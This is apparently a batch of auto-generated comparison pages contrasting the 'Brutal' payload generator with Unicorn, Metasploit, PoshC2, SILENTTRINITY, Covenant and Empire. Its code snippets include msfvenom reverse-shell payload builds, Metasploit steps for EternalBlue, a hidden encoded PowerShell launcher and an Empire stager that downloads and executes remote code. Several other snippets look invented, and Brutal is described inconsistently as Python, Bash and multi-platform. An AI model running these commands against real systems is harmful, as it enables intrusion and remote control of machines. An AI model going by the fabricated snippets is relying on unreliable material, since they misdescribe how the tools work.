Pros of Unicorn

• Focused specifically on PowerShell payload generation
• Lightweight and easy to use
• Actively maintained with frequent updates

Cons of Unicorn

• Limited to PowerShell-based payloads
• Fewer customization options compared to Brutal
• Less comprehensive toolkit for overall penetration testing

Code Comparison

Unicorn (payload generation):

payload = "powershell -window hidden -enc {0}".format(base64.b64encode(unicode(powershell_code).encode('utf-16le')))

Brutal (payload generation):

payload = "msfvenom -p {0} LHOST={1} LPORT={2} -f {3} > {4}".format(payload, lhost, lport, format, output)

Summary

Unicorn is a specialized tool for generating PowerShell-based payloads, offering simplicity and ease of use. It's actively maintained but has a narrower focus compared to Brutal.

Brutal, on the other hand, provides a more comprehensive toolkit for penetration testing, including various payload types and additional features. However, it may have a steeper learning curve and require more setup.

The choice between the two depends on the specific needs of the user, with Unicorn being ideal for quick PowerShell payload generation and Brutal offering a broader range of penetration testing capabilities.

Pros of Metasploit Framework

• Extensive library of exploits and modules
• Active community and regular updates
• Robust documentation and support

Cons of Metasploit Framework

• Steeper learning curve for beginners
• Larger resource footprint
• More complex setup and configuration

Code Comparison

Brutal (payload generation):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > payload.exe

Metasploit Framework (exploit usage):

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
exploit

Brutal focuses on simplifying payload generation and social engineering attacks, while Metasploit Framework offers a more comprehensive suite of penetration testing tools. Brutal is more accessible for beginners, but Metasploit provides greater depth and flexibility for advanced users. Both tools serve different purposes within the security testing ecosystem, with Brutal emphasizing ease of use and Metasploit offering a broader range of capabilities.

Pros of PoshC2

• More focused on PowerShell-based post-exploitation and C2 functionality
• Actively maintained with regular updates and community support
• Extensive documentation and usage guides available

Cons of PoshC2

• Limited cross-platform support compared to Brutal's multi-OS capabilities
• Steeper learning curve for users not familiar with PowerShell
• Less emphasis on initial access and social engineering techniques

Code Comparison

PoshC2 (PowerShell-based command execution):

Invoke-PoshCommand -Command "Get-Process" -ComputerName $target

Brutal (Python-based payload generation):

payload = Payload("windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444)

Summary

PoshC2 excels in PowerShell-based post-exploitation and command and control, offering a more specialized toolset for Windows environments. It benefits from active development and comprehensive documentation. However, it may be less accessible to users without PowerShell expertise and has limited cross-platform functionality.

Brutal, on the other hand, provides a broader range of attack vectors and social engineering tools, with support for multiple operating systems. Its Python-based approach may be more familiar to a wider audience, but it lacks the depth of PowerShell-specific features found in PoshC2.

Choose PoshC2 for advanced Windows-focused operations, or Brutal for a more versatile, multi-platform approach to penetration testing and social engineering.

Pros of SILENTTRINITY

• Written in Python, offering better cross-platform compatibility
• Utilizes modern post-exploitation techniques and evasion methods
• Supports multiple communication protocols (HTTP/S, DNS, SMB)

Cons of SILENTTRINITY

• Less user-friendly for beginners compared to Brutal's simpler interface
• Requires more setup and configuration
• Smaller community and fewer resources available for support

Code Comparison

SILENTTRINITY (Python):

from silenttrinity import SilentTrinity

st = SilentTrinity()
st.start_teamserver()
st.connect_client()
st.execute_module("shell", "whoami")

Brutal (Bash):

#!/bin/bash
source brutal.sh
start_listener
generate_payload
execute_command "whoami"

Both tools are designed for post-exploitation and penetration testing, but SILENTTRINITY offers more advanced features and flexibility at the cost of complexity. Brutal, on the other hand, provides a simpler approach with its bash-based scripting, making it more accessible for users familiar with Linux environments. The choice between the two depends on the user's specific needs, skill level, and target environment.

Pros of Covenant

• More advanced and feature-rich C2 framework
• Utilizes .NET Core for cross-platform compatibility
• Offers a graphical user interface for easier management

Cons of Covenant

• Steeper learning curve due to complexity
• Requires more resources to run effectively
• Less focused on social engineering techniques

Code Comparison

Covenant (C#):

public class Grunt : IMessenger
{
    public string Name { get; set; }
    public string Guid { get; set; }
    public GruntStatus Status { get; set; }
}

Brutal (Python):

class Brutal:
    def __init__(self):
        self.name = "Brutal"
        self.version = "1.0"
        self.description = "Payload Generator for Penetration Testing"

Covenant is a more comprehensive C2 framework written in C#, offering advanced features and a GUI. It's cross-platform but requires more resources and has a steeper learning curve. Brutal, on the other hand, is a simpler Python-based tool focused on payload generation and social engineering. While Covenant provides a full-fledged C2 infrastructure, Brutal excels in quick payload creation for specific scenarios. The code comparison shows Covenant's object-oriented approach for managing "Grunts" (agents), while Brutal's code demonstrates its straightforward structure for payload generation.

Pros of Empire

• More comprehensive and feature-rich post-exploitation framework
• Actively maintained with regular updates and community support
• Supports a wider range of operating systems and attack vectors

Cons of Empire

• Steeper learning curve due to its complexity
• Larger codebase, potentially making it harder to customize or modify
• May be more easily detected by antivirus software due to its popularity

Code Comparison

Empire (PowerShell stager):

$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX $wc.DownloadString('http://empire.server/launcher');

Brutal (Metasploit payload generation):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > payload.exe

Both repositories are powerful post-exploitation frameworks, but they differ in scope and complexity. Empire is more comprehensive and versatile, while Brutal focuses on simplicity and ease of use for specific attack scenarios. Empire's codebase is more extensive, offering a wider range of features but requiring more time to master. Brutal, on the other hand, provides a more straightforward approach to payload generation and exploitation, making it easier for beginners to use but potentially limiting its capabilities in complex scenarios.